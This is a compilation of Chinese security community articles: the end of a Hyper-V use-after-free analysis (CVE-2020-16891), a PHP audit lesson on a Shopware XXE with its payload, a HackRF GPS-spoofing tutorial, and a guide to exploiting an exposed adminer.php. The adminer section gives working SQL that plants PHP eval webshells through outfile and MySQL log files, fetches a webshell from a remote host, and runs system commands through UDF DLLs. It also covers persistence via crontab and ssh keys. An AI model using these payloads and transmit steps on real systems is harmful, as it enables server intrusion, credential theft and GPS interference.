现在，我们可以创建两个互不相干的调用vmbusr!ChUnmapGpadlView函数的线程了。
下面是这个漏洞的触发和调试过程。
最后一个漏洞是CVE-2020-16891，下面是这个漏洞崩溃时的现场。
这个漏洞触发需要使用windows server系列的操作系统，而且需要如下设置。在网卡的选择上，我使用了Intel(R) Ethernet 10G 4P
X540/I350 rNDC #2网卡。
这个问题发生在vmwp!EmulatorVp::FlushGvaTranslationCache函数中，这个函数如下图所示。
在偏移0x9E处，vmwp!EmulatorVp::FlushGvaTranslationCache函数会调用vmwp!
VND_HANDLER_CONTEXT::RemoveReference函数。在vmwp!
VND_HANDLER_CONTEXT::RemoveReference函数中会调用vmwp!Vml::VmSharableObject::DecrementUserCount函数，如果函数vmwp!VND_HANDLER_CONTEXT::RemoveReference第一个参数偏移-0x50处的值为1的话，vmwp!Vml::VmSharableObject::DecrementUserCount将会释放掉一个VmbComMmioHandlerAdapter对象，这个对象的大小为0xb0。
函数vmwp!VND_HANDLER_CONTEXT::RemoveReference第一个参数偏移-0x50处的值为一个引用计数器的地址，如果这个引用计数器的值为1，一个VmbComMmioHandlerAdapter对象就会被释放。在下面的文章中，我将这个引用计数器称为
**KEY_REF_COUNTER** 。
我们发现，调用vmwp!VndCompletionHandler::HandleVndCallback函数也可以减少上文中提到的
**KEY_REF_COUNTER**
。在vmwp!VndCompletionHandler::HandleVndCallback函数偏移0xAAE位置处，调用了Vml::VmSharableObject::DecrementUserCount函数。如图。
我们可以通过构造下面的POC代码，控制vmwp.exe进程运行到vmwp!VndCompletionHandler::HandleVndCallback函数偏移0xAAE位置处。
下面的POC代码用来控制vmwp.exe进程运行到vmwp!EmulatorVp::FlushGvaTranslationCache+0x9e位置处。
但是，这个virt_addr+0x1004地址代表着什么呢？经过查阅Linux
Kernel代码，我发现这个地址可能代表着PCI_COMMAND的地址，向其中写入2和0分别代表着开启和关闭内存空间响应这个功能。
下面我们触发并且调试这个漏洞。下面是断点信息。
我们直接来到漏洞发生位置，在vmwp!VndCompletionHandler::HandleVndCallback函数偏移0xAAE位置处，
**KEY_REF_COUNTER** 被减1，随后在
vmwp!EmulatorVp::ActuallyAttemptEmulation偏移0x2b3处断下，通过调试器可以看到，这时的
**KEY_REF_COUNTER** 的值为1。如下图所示。
通过查看VmbComMmioHandlerAdapter对象的地址，发现此时的对象还没有被释放，如下图。
继续跟踪，发现VmbComMmioHandlerAdapter对象随后被释放掉了。
继续调试，进程在vmwp!EmulatorVp::ActuallyAttemptEmulation偏移0x290处断下。此时的rcx寄存器中存放的正是刚刚被释放的VmbComMmioHandlerAdapter对象的地址，用WinDbg查看这个地址的状态，如下图。
## 05 攻击面
vmcall调用、虚拟化MSR读写、APIC虚拟化、嵌套虚拟化等是Hypervisor组件攻击面。
Guest可以通过发送CHANNELMSG_OPENCHANNEL等消息到达VMBUS组件的攻击面。
虚拟设备如vmswitch、storvsp、动态内存等，在Guest中可以通过调用vmbus_sendpacket发送特定的虚拟设备数据到达对应的驱动文件或者dll文件中。如下两图。
## 06 潜在攻击面
Hyper-V的潜在攻击面有vmswitch中的Packet Direct功能、Network Direct功能、PCI-E
PassThrough、虚拟机层嵌套虚拟化等等。这些组件不是虚拟机默认配置，但是可以通过特定配置打开。换句话说，这些组件功能并不常用，可能是一些比较好的研究方向。
* * * | 社区文章 |
本文由红日安全成员： **七月火** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs) 。现在大家所看到的系列文章，属于项目
**第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第3篇**
代码审计文章：
## Day 3 - Snow Flake
题目叫做雪花，代码如下：
**漏洞解析** ：
这段代码中存在两个安全漏洞。第一个是文件包含漏洞，上图第8行中使用了 **class_exists()**
函数来判断用户传过来的控制器是否存在，默认情况下，如果程序存在 **__autoload** 函数，那么在使用 **class_exists()**
函数就会自动调用本程序中的 **__autoload** 函数，这题的文件包含漏洞就出现在这个地方。攻击者可以使用 **路径穿越**
来包含任意文件，当然使用路径穿越符号的前提是 **PHP5~5.3(包含5.3版本)版本** 之间才可以。例如类名为：
**../../../../etc/passwd** 的查找，将查看passwd文件内容，我们来看一下PHP手册对 **class_exists()**
函数的定义：
> [ class_exists ](http://php.net/manual/zh/function.class-exists.php) ：(PHP
> 4, PHP 5, PHP 7)
>
> **功能** ：检查类是否已定义
>
> **定义** ： `bool class_exists ( string $class_name[, bool $autoload = true ]
> )`
>
> **$class_name** 为类的名字，在匹配的时候不区分大小写。默认情况下 **$autoload** 为 **true** ，当
> **$autoload** 为 **true** 时，会自动加载本程序中的 **__autoload** 函数；当 **$autoload** 为
> **false** 时，则不调用 **__autoload** 函数。
我们再来说说第二个漏洞。在上图第9行中，我们发现实例化类的类名和传入类的参数均在用户的控制之下。攻击者可以通过该漏洞，调用PHP代码库的任意构造函数。即使代码本身不包含易受攻击的构造函数，我们也可以使用PHP的内置类
**SimpleXMLElement** 来进行 **XXE**
攻击，进而读取目标文件的内容，甚至命令执行（前提是安装了PHP拓展插件expect），我们来看一下PHP手册对 **SimpleXMLElement**
类的定义：
> [SimpleXMLElement](http://php.net/manual/zh/class.simplexmlelement.php)
> ：(PHP 5, PHP 7)
>
> **功能** ：用来表示XML文档中的元素，为PHP的内置类。
关于 **SimpleXMLElement** 导致的XXE攻击，下面再给出一个demo案例，方便大家理解：
## 实例分析
本次实例分析，我们选取的是 **Shopware 5.3.3** 版本，对 **SimpleXMLElement** 类导致的 **XXE漏洞**
进行分析，而 **class_exists()** 函数，我们将会在本次给出的CTF题目中深入讨论。我们来看一下本次漏洞的文件，在
**engine\Shopware\Controllers\Backend\ProductStream.php** 文件中有一个
**loadPreviewAction** 方法，其作用是用来预览产品流的详细信息，具体代码如下：
该方法接收从用户传来的参数 **sort** ，然后传入 **Repository** 类的 **unserialize**
方法（如上图第11-14行代码），我们跟进 **Repository** 类，查看 **unserialize** 方法的实现。该方法我们可以在
**engine\Shopware\Components\ProductStream\Repository.php** 文件中找到，代码如下：
可以看到 **Repository** 类的 **unserialize** 方法，调用的是 **LogawareReflectionHelper** 类的
**unserialize** 方法（如上图第5行代码），该方法我们可以在
**engine\Shopware\Components\LogawareReflectionHelper.php** 文件中找到，具体代码如下：
这里的 **$serialized** 就是我们刚刚传入的 **sort** （上图第3行），程序分别从 **sort** 中提取出值赋给
**$className** 和 **$arguments** 变量，然后这两个变量被传入 **ReflectionHelper** 类的
**createInstanceFromNamedArguments** 方法。该方法位于
**engine\Shopware\Components\ReflectionHelper.php** 文件，具体代码如下：
这里我们关注 **第6行** 代码，这里创建了一个反射类，而类的名称就是从 **$sort** 变量来的，可被用户控制利用。继续往下看，在代码第28行处用
**$newParams** 作为参数，创建一个新的实例对象。而这里的 **$newParams** 是从
**$arguments[\$paramName]** 中取值的， **$arguments** 又是我们可以控制的，因为也是从 **$sort**
变量来，所以我们可以通过这里来实例化一个 **SimpleXMLElement** 类对象，形成一个XXE漏洞。下面，我们来看看具体如何利用这个漏洞。
## 漏洞利用
首先，我们需要登录后台，找到调用 **loadPreviewAction** 接口的位置，发现其调用位置如下：
当我们点击 **Refresh preview** 按钮时，就会调用 **loadPreviewAction** 方法，用BurpSuite抓到包如下：
GET /shopware520/backend/ProductStream/loadPreview?_dc=1530963660916&sort={"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}&conditions={}&shopId=1¤cyId=1&customerGroupKey=EK&page=1&start=0&limit=2 HTTP/1.1
Host: localhost
X-CSRF-Token: IKiwilE7pecuIUmEAJigyg6fVXY6vR
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://localhost/shopware520/backend/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SHOPWAREBACKEND=78ghtddjn8n8efpv1cudj6eao0; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; goods[cart]=180615151154565652; XDEBUG_SESSION=PHPSTORM
Connection: close
我们可以看到 **sort** 值为
`{"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}`
,于是我们按照其格式构造payload：
`{"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}`
，关于payload的含义，可以看看 **SimpleXMLElement** 类的 **__construct** 函数定义，具体点
[这里](http://php.net/manual/zh/simplexmlelement.construct.php)
final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )
笔者所用的xxe.xml内容如下：
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>
<x>&xxe;</x>
我们发送payload，并用xdebug调试程序，最后程序将我们读取的值存储在 **$conditions** 变量中，如下图所示：
## 修复建议
关于PHP中XXE漏洞的修复，我们可以过滤关键词，如： **ENTITY** 、 **SYSTEM**
等，另外，我们还可以通过禁止加载XML实体对象的方式，来防止XXE漏洞（如下图第2行代码），具体代码如下：
## 结语
看完了上述分析，不知道大家是否对 **XXE攻击** 有了更加深入的理解，文中用到的CMS可以从
[这里](http://releases.s3.shopware.com.s3.amazonaws.com/install_5.3.3_0e50204087219ada9cdd9a74cd17cbb264e8c0a4.zip?_ga=2.21910011.1134495119.1530714243-2059409569.1530714243)
下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 **[email protected]** 联系我们。
**Day3** 的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：
// index.php
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
// f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>
题解我们会阶段性放出，如果大家有什么好的解法，可以在文章底下留言，祝大家玩的愉快！
## 相关文章
[Shopware 5.3.3: PHP Object Instantiation to Blind
XXE](https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/) | 社区文章 |
# GPS卫星信号劫持
## 一、简单原理阐述
其实GPS劫持就是用到了所有接收GPS信号的设备会默认当前信号最强的设备为数据接收点， 所以这才给了GPS信号劫持的机会。
在进行GPS劫持的时候，攻击者首先需要去NSAS的ftp服务器上去下载当天的最新的GPS导航电文， 下载此文件的目的是在后期使用自动化脚本修改其中的经纬度等重要数据。
## 二、详细攻击过程
## **伪造动态轨迹**
#### **步骤1：伪造运动轨迹**
* 此步骤中需要在本机中安装Google Earth
Google Earth 安装地址：<https://www.jb51.net/softs/284189.html>
安装完成之后
* 启动 Google Earth,调整视野,寻找到伪造位置地区,然后点击工具栏上的添加路径：
* 在地图上,点击勾画出一个运动轨迹,尽可能的符合正常路线：
为路径起名,点击确定后,它就会出现在左侧的位置列表之中,在上面点击右键,选择”将位置另存为”,将之保存为 kml 文件：
保存后的 kml 文件:
`接下来，因为我的HackRF，是使用虚拟机驱动起来的。所以需要将此文件放到虚拟机中，而我使用的方式是 虚拟机和真机共享文件夹的方式来实现文件的传输的。`
具体实现文件传输方式给出以下的链接：<https://jingyan.baidu.com/article/b7001fe1deebcf0e7382dd45.html>
实现文件夹共享之后将test.kml文件存放到虚拟机中 等待调用 ！
* * *
* 保存后的 kml 文件,是不能够直接使用的,它本质上只是一种包含路径中关键坐标点的格式,并不包含实际运动轨迹中加速,减速,静止这样的数据,我们要对其进行转换。
在本案例中,我们需要将 kml 文件转换成两种格式的轨迹数据文件(两种中任一种),下面分别做介绍：
* NMEA 格式文件
NMEA 是 GPS 导航设备统一的 RTCM 标准协议,具体内容是一行行的描述坐标,海拔及时间轨迹的语句,主要有
GPGGA、GPGSA、GPGSV、GPRMC、GPVTG、GPGLL 等语句格式,这里我们只需要 GPGGA 格式,其内容如下：
1. ECEF 坐标轨迹文件
ECEF 坐标系又叫地心地固坐标系,它是一个笛卡尔右手坐标系,用 xyz 三个坐标轴来描述地表的某特定位置,具体如下图所示：
ECEF 的原点与地球质心重合,x 轴从原点出发,延伸至本初子午线与赤道的交点,z轴延伸至北极点,y 轴遵循右手坐标系与 x 和 z 构成的平面垂直。
ECEF 的轨迹文件(csv 格式),格式很简单:时间(秒),x 坐标,y 坐标,z 坐标,示例如下：
0.0,-3813477.954, 3554276.552, 3662785.237
0.1,-3813477.599, 3554276.226, 3662785.918
0.2,-3813477.240, 3554275.906, 3662786.598
0.3,-3813476.876, 3554275.590, 3662787.278
0.4,-3813476.508, 3554275.280, 3662787.958
0.5,-3813476.135, 3554274.975, 3662788.638
0.6,-3813475.757, 3554274.675, 3662789.318
0.7,-3813475.375, 3554274.381, 3662789.997……………
* 接下来,我们把 kml 文件转换成 NMEA 格式,这里我们需要用到一个小工具,它由 LabSat 提供,是 SatGen 软件的一个极简免费版
工具下载地址：<http://files.cnblogs.com/files/k1two2/SatGenNMEAFree.zip>
* 本机转换数据为kml格式的数据之后放到与虚拟机的共享文件夹下
#### **步骤2 ：下载星宿文件**
下载地址：ftp://cddis.gsfc.nasa.gov/pub/gps/data/daily/2019/brdc/
本下载地址为美国国家宇航局的GPS数据回传的ftp文件服务器
* * *
需要注意的是 ： 每次欺骗过程中都需要下载当天得到星宿文件,老旧的星宿文件欺骗成功效率很低。
在上图中可以看到，GPS每次回传的数据有两个，最后两个文件就是最新的回传的数据。
最新回传数据的大小和上面的其他组的数据大小比较发现，最新传回来额数据数据量不够。
最近的数据组比较下面的最新数据。
所以就近选择倒数第二组较为完整的数据，下载的时候，仅下载19n.z 结尾的数据包。
下载完成之后在真机中进行解压，然后将数据放到和虚拟机共享的文件夹下。
然后在虚拟机中将目标文件复制到USER工作空间下，等待使用。
* * *
### **步骤3 ：伪造GPS采样数据文件**
**本过程需要使用开源项目 gps-sdr-sim 本程序的安装过程如下：**
* 模块参数详解：
运行
会默认生成 gpssim.bin文件
然后使用 HackRF One 重放数据
`$ hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 47 –R`
* 参数解析：
-t 目标数据文件 -f 发射频率 -s 采样频率 -a 是否开启增益 -x 增益值 0~47
等待欺骗40s左右
# 大功告成 ！
如此打开自己的百度地图之后就会发现自己的定位位置处于你预设的轨迹中 并且在不断的运动当中
**为了体现效果，我去Google Earth上画了凯旋门运动的轨迹。**
当然，生成 gpssim.bin 文件之后还可以使用其他方式进行信号的模拟攻击，例如使用如下的流图，使用 gnuradio 搭建流图来发射数据 。
## **伪造固定位置**
#### **步骤1：下载GPS导航电文**
#### **步骤2：生成伪造静态导航电文**
`./gps-sdr-sim -e brdc1760.19n -l 26.616147,91.106.674842,100 -b 8`
#### **步骤3：执行自动化脚本**
`hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 47 –R`
## 三、遇到的坑
本此实验中遇到的最大的坑是在使用HackRF One 进行重放的时候，开启重放过程之后，等待五秒左右 发现百度地图中定位位置并未被欺骗。
本问题最初是因为，在欺骗的过程中需要 40s 左右的欺骗时间。
我自己的理解是，在欺骗过程中，接收gps信号的手机需要接收大量稳定的信号强度较为强的数据包之后
才能将GPS接收点，从真正的信号源修改为信号强度更强更稳定的虚假GPS 基站。
**每次非正常结束运行的开源脚本，都需呀将HackRF One 重新启动一次 来使HackRF 进入到正常的初始化状态 ！**
# 参考链接
<https://www.cnblogs.com/k1two2/p/6387701.html>
<https://www.cnblogs.com/k1two2/p/5164172.html>
<https://www.cnblogs.com/k1two2/p/5197591.html> | 社区文章 |
## 发现
某次项目中遇到扫目录中奖了adminer.php，所以对adminer的利用做个小总结。
## 利用
### 确定admirer版本
adminer的大概界面一般如下图，可以通过界面获取版本信息。
而 **admirer <=4.6.2**时，可以利用mysql的"LOAD DATA LOCAL
INFILE"特性读取mysql客户端代码，当利用adminer去访问我们搭建的恶意mysql服务器，就可以读到adminer服务器上的任意源码。
### 搭建恶意mysql服务器
#### MySQL_Fake_Server
<https://github.com/fnmsd/MySQL_Fake_Server>
python3写的，实战中跑起来后没有读到文件。
#### Rogue_mysql_server
<https://github.com/rmb122/rogue_mysql_server>
go写的，实战跑起来没读到文件
#### Rogue_Mysql_Server
<https://github.com/Gifts/Rogue-MySql-Server>
python2实现，能正常读文件，但是读到的文件长度有限制，无法读取大文件
#### MysqlHoneypot
<https://github.com/qigpig/MysqlHoneypot>
python2实现读微信ID的蜜罐，有个师傅在issues里提了读大文件的解决方法
<https://github.com/qigpig/MysqlHoneypot/issues/5>
参考缝缝改改可以正常在python2环境读大文件
### 利用操作系统数据库文件获取网站绝对路径
和大多数任意文件读取漏洞一样，我们要读到网站文件需要知道网站文件的绝对路径或者相对路径。
#### 判断操作系统
通过盲读下列文件，可以判断当前系统的操作系统，
windows系统:
c:\\windows\\win.ini
c:\\windows\\system32\\drivers\\etc\\hosts
linux系统:
/etc/passwd
/etc/hosts
#### 判断系统后进阶利用
一种任意文件读取的通用利用思路就是读取系统源码，通过审计源码挖掘漏洞拿到服务器权限。另一种是配合一些开放的其他服务获得权限，比如adminer这种情景就可以读数据库配置，然后连接数据库执行sql语句写shell。但无论是读源码还是读配置文件，都会需要知道相应文件的路径，那我们怎么判断源码的路径呢？
windwos和linux系统都有一些特殊文件，我们尝试去读这些文件，就能获取到web服务的绝对路径。
##### windows
<https://www.howtogeek.com/232779/how-to-rebuild-a-broken-icon-cache-in-windows-10/>
windows自带一个图标缓存的数据库,里面会各个文档文件的图标信息,即可以包含web服务的一些路径，结合任意文件读取或下载来获取web路径
win7和vista中icon cache路径
C:\\Users\\<your username>\\AppData\\Local\\IconCache.db
C:\\Users\\administrator\\AppData\\Local\\IconCache.db
win8和win10也有上面的文件，但是真正使用的是下面路径中的数据库
C:\\Users\\<your username>\\AppData\\Local\\Microsoft\\Windows\\Explorer
C:\\Users\\administrator\\AppData\\Local\\Microsoft\\Windows\\Explorer
• iconcache_16.db
• iconcache_32.db
• iconcache_48.db
• iconcache_96.db
• iconcache_256.db
• iconcache_768.db
• iconcache_1280.db
• iconcache_1920.db
• iconcache_2560.db
• iconcache_custom_stream.db
• iconcache_exif.db
• iconcache_idx.db
• iconcache_sr.db
• iconcache_wide.db
• iconcache_wide_alternate.db
解密IconCache.db的文件使用下面的脚本
<https://github.com/cereme/FirstSound>
<https://github.com/Bikossor/Windows-IconFixer>
IconCacheViewer.exe
##### linux
本质就是linux系统locate命令利用到的数据库，数据库文件里包含了系统内的所有本地文件路径信息
/var/lib/mlocate/mlocate.db
/var/lib/locate.db
### 利用php框架获取网站相对路径
因为本文章讨论的是adminer.php，网站一定是php的，所以可以先判断网站有无使用一些知名框架，如thinkphp,Laravel,yii等框架。即目标网站的文件路径可以参考对应php框架目录，下面以一次thinkphp
5.0.20实战案例为例
##### Thinkphp
扫目录发现目标存在adminer.php，且访问LICENSE.txt文件和页面报错可判断框架为thinkphp框架
读文件判断操作系统，发现是windows系统，尝试读icon cache失败，即不能通过上面介绍的方法获得web服务的绝对路径
尝试用adminer读取index.php(不管什么框架，有无二开，index.php文件都是我们可以通过黑盒观察目录结构判断到其相对于adminer.php的相对路径的,即该文件是一定能读到的)
读index.php中写到的thinkphp/start.php,提示thinkphp的引导文件是base.php
读thinkphp/base.php,该文件可以查看到thinkphp各模块对应目录，以及thinkphp版本等信息
尝试读index.php中提到的build.php可以看到应用配置文件common.php,config.php,database.php
一般的thinkphp应用目录是application,而本次这个目标的index.php中写了应用目录是apps，所以正确的配置文件路径是
apps/common.php
apps/config.php
apps/database.php
成功读到数据库账号密码，可以登录adminer后台
##### 结论
遇到thinkphp5可关注的高价值文件
index.php
build.php
thinkphp/base.php thinkphp引导文件
apps/common.php
apps/config.php
apps/database.php
application/common.php
application/config.php
application/database.php
### adminer后台战法
利用思路和拿到数据库权限怎么getshell的思路一致
#### 获取网站绝对路径
不管什么数据库，要写shell必须得知道网站的绝对路径，怎么搞绝对路径呢？
##### 网页报错
部分网站配置不当，我们用adminer执行一些操作时会报错出adminer系统的web绝对路径
##### 操作系统数据库文件
Windows的IconCache或者linux的located.db
##### 手工猜测
可以先读取mysql的安装目录，再依据mysql的路径命名规则猜测网站路径。
select @@basedir
##### 日志文件
尝试读取网站的日志文件，尤其是报错日志，很可能有出错文件的绝对路径
例如上面的thinkphp案例，上述几种方式均没获取web路径，最终通过读日志找到路径。
runtime/log/202111/30.log
##### 数据库信息
翻越数据库中的信息，有可能因为一些配置功能能看到web路径
#### 写webshell
以mysql数据库为例
##### outfile
写shell需要判断当前有没有设置secure_file_priv，只有当secure_file_priv为空才有权限写文件，这个配置由my.ini定义，无法在执行sql的情景更改配置。
show global variables like '%secure%';
写入webshell
#写入常规一句话
select '<?php eval($_POST["x"]) ?>' into outfile 'C:\\phpstudy_pro\\WWW\\loga.php';
#存到数据库表中再写入
Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[x]) ?>');Select cmd from temp into outfile 'C:\\phpstudy_pro\\WWW\\loga.php';Drop TABLE IF EXISTS temp;
#使用hex编码写入
select 0x3c3f706870206576616c28245f504f53545b2278225d29203f3e into outfile 'C:\\phpstudy_pro\\WWW\\x.php'
outfile可以导出多行数据，但是在将数据写到文件时mysql会对换行符(0a)，制表符(09)等特殊字符做处理。使用有换行符的webshell时，很多hex编码后换行符使用的是0a(即\n)，而0a会被outfile做特殊处理，除了换行符外还会额外增加一个\符号，所以我们写shell时如果用0a做换行符会破坏我们的webshell结构导致失败。
例如当我们尝试写入最简单的一个有换行符和制表符shell
select 0x3c3f7068700a096576616c28245f504f53545b2278646464646464646464225d3b0a3f3e into outfile 'C:\\phpstudy_pro\\WWW\\xddddddddd.php'
可以发现换行符0a的部分还被额外增加了一个\符号，且制表符处也增加了一个\符号，严重破坏了shell的文件结构。
不过经测试outfile下仍有能正常用的换行符0d(即\r)，所以我们手动把所有0a换行符换成0d就能正常写入换行的shell。
但是这并非万能的，虽然肉眼甚至一些diff下用\r替换\n做换行符后没啥区别，但一些情景例如某些加密需要用到公钥私钥，而公钥私钥中的换行符，如果我们强行替换到\r，会破坏其的格式导致其报错，所以对于一些使用公钥私钥的shell目前我仍没找到在outfile下直接写入他们的思路，只能使用file_put_contents的思路去写.
poc如下:
#在同目录生成密码是cmd的一句话cmd.php
select '<?php file_put_contents("cmd.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKSA/Pg=="));?>' into outfile 'C:\\phpstudy_pro\\WWW\\1.php'
##### dumpfile
写shell需要判断当前有没有设置secure_file_priv，只有当secure_file_priv为空才有权限写文件，这个配置由my.ini定义，无法在执行sql的情景更改配置
show global variables like '%secure%';
写入shell
#写入常规一句话
select '<?php eval($_POST["x"]) ?>' into dumpfile 'C:\\phpstudy_pro\\WWW\\loga.php';
#存到数据库表中再写入
Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[x]) ?>');Select cmd from temp into outfile 'C:\\phpstudy_pro\\WWW\\loga.php';Drop TABLE IF EXISTS temp;
#使用hex编码写入
select 0x3c3f706870206576616c28245f504f53545b2278225d29203f3e into outfile 'C:\\phpstudy_pro\\WWW\\x.php'
dumpfile只能导出一行数据，但是写入shell时不会像outfile那样有换行符的坑点，dumpfile写入文件时会严格保持原数据格式，所以我们打udf写入dll都用dumpfile
##### general_log
利用日志getshell的方法不受secure_file_priv的限制，只要知道web绝对路径即可。
查询general_log的配置
show global variables like '%general_log%'; #查询general_log的配置，以便事后恢复
#或
select @@general_log_file #查询general_log目录
select @@general_log #查询general_log是否开启，0表示未开启，1表示开启
开启general_log
set global general_log='ON';
set global general_log_file='C:\\phpstudy_pro\\WWW\\log.php';
#执行后应该立即能在网站访问到log.php文件
写入webshell内容
#任意写入一句话马
select '<?php @eval($_POST[01282095])?>'
#注意这里不能用hex编码，因为用了hex记录到log文件里的内容还是hex编码的内容，而不是hex编码后的内容。而且尽量用简短的马，内容多的马遇到一些特殊字符容易出错。
#由于只要有sql语句执行就会记录到日志里，执行语句多了可能插入特殊字符导致我们的马被破坏结构。所以建议拿到权限后尽快传新的马并恢复原本的general_log配置。
#应对这类情况一般我们可以传一个写文件的马,在同级目录生成密码是cmd的一句话cmd.php
select '<?php file_put_contents("cmd.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKSA/Pg=="));?>'
#或者远程加载
select '<?php file_put_contents("xx.php",file_get_contents("http://vpsip/webshell.txt");?>'
##### slow_query_log_file
利用慢日志getshell的方法也不受secure_file_priv的限制，只要知道web绝对路径即可。
查询慢日志的配置
show variables like '%slow%' #查询慢日志配置，以便事后恢复
或
select @@slow_query_log_file #查询慢日志目录，以便事后恢复
select @@slow_query_log #查询慢日志是否开启，0表示未开启，1表示开启
开启慢日志
set GLOBAL slow_query_log_file='C:\\phpstudy_pro\\WWW\\log.php';
set GLOBAL slow_query_log=on;
写入webshell内容
#和前面的general_log完全一致，只需要在sql语句结尾加上sleep(10)触发延时即可
select '<?php @eval($_POST["x"])?>' from mysql.db where sleep(10);
#写文件shell
select '<?php file_put_contents("cmd.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKSA/Pg=="));?>' from mysql.db where sleep(10);
#### 写文件获取shell思路
以mysql为例,已知公开的不写webshel要获取服务器权限的思路，都是围绕利用写文件的特性写入各种特殊的文件触发命令执行等行为获取shell权限。
所以仍需要判断当前有没有设置secure_file_priv，只有当secure_file_priv为空且secure_auth为OFF才有权限写文件
show global variables like '%secure%';
##### udf
首先需要获取到plugin目录路径，因为mysql从5.0.67起，dll文件必须放在plugin目录才能加载。执行下列命令可以读取mysql的plugin目录
select @@plugin_dir
show global variables like '%plugin%';
如果mysql的plugin目录不存在，windows情景下我们可以利用ntfs流创建plugin目录，但是对mysql有一定版本限制，高版本的mysql做了降权，如果mysql安装在c盘，mysql将没有创建目录的权限。经测试5.5.29可以创建，5.7.26被降权不能创建文件夹
select @@basedir; #查找mysql的目录
select 0x20 into dumpfile 'C:\\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION'; #使用NTFS ADS流创建lib目录
select 0x20 into dumpfile 'C:\\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION'; #利用NTFS ADS再次创建plugin目录
准备好plugin目录后，需要查看操作系统的架构等信息，准备相应的dll或so
select @@version_compile_os #查看当前操作系统的架构
select @@version_compile_machine; #查看当前数据库的架构
根据操作系统的架构写入相应的dll或so，可以自己网上找源码写了编译，自己编译的免杀效果会好一点，懒的直接取[msf](https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql)或者[sqlmap](https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/mysql)编译好的用也行
select 0x20 into dumpfile "C:\\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf32.dll"
#其中的hex编码可以通过本机装个mysql然后用hex获得
select hex(load_file('C:\\Users\\xxx\\mysql\\msf\\lib_mysqludf_sys_64.dll'))
利用dll创建函数，如果创建失败，十有八九是dll存在问题（被杀软干掉了或者架构不对等等）
create function sys_exec returns int soname 'udf32.dll' #无回显执行系统命令
select sys_exec('ping qkc5y3.dnslog.cn')
create function sys_eval returns string soname 'udf64.dll' #回显执行系统命令
select sys_eval('whoami')
drop function sys_eval # 删除sys_eval函数
select * from mysql.func #查询所有函数，判断是否创建成功
##### mof
`C:\Windows\System32\wbem\MOF`目录下的`nullevt.mof`文件，每分钟会去执行一次，如果写入我们的cmd命令，就可以达到执行计划任务的效果。
只有server2003或xp才有这个特性，实战基本上遇不上，不过能作为一个参考项
##### lpk
很老的一个dll劫持思路，当与lpk.dll同目录下的exe被执行时，dll就会被执行。
也是只有server2003或xp才有漏洞
##### windows启动项
就是写startup目录C:\\\Users\\\Administrator\\\AppData\\\Roaming\\\Microsoft\\\Windows\\\Start
Menu\\\Programs\\\Startup，需要重启才能生效，不同操作系统路径有差异。
##### crontab
其实确定可以写文件后，利用思路就可以扩展为任意文件写入漏洞该怎么利用。自然可以想到redis写文件的那一套思路。一般mysql服务在linux上都是以mysql用户启的，而mysql用户又是没有登录权限的，所以一般来讲是没权限写crontab的，但是不排除部分奇葩环境就是用root用户启动的mysql，这时就可以尝试写入crontab反弹
##### ssh key
理由同上
#### 读系统文件
有可能有特大的文件用mysql读文件的洞读不到，这时可以在adminer后台使用load_file去尝试读一下
#常规读文件
select load_file('C:\\phpstudy_pro\\WWW\\index.html')
#路径可以使用hex编码，且读到的数据是blob格式，需要hex编码一下方便取出来
select hex(load_file(0x433A5C5C70687073747564795F70726F5C5C5757575C5C696E6465782E68746D6C))
#### 读数据库中网站管理员用户密码
##### 直接找密码字段
